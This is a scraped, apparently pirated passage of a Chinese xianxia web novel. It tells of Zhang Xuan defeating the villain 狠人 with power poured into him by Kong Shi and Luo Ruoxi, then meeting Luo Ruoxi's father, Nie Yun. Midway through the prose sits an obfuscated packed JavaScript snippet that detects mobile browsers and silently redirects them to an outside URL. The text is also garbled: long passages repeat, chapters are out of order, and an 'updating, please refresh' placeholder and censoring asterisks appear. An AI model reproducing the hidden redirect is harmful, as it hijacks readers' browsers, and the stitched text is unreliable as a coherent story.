“我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16139943|180412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第186章 传召进宫 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 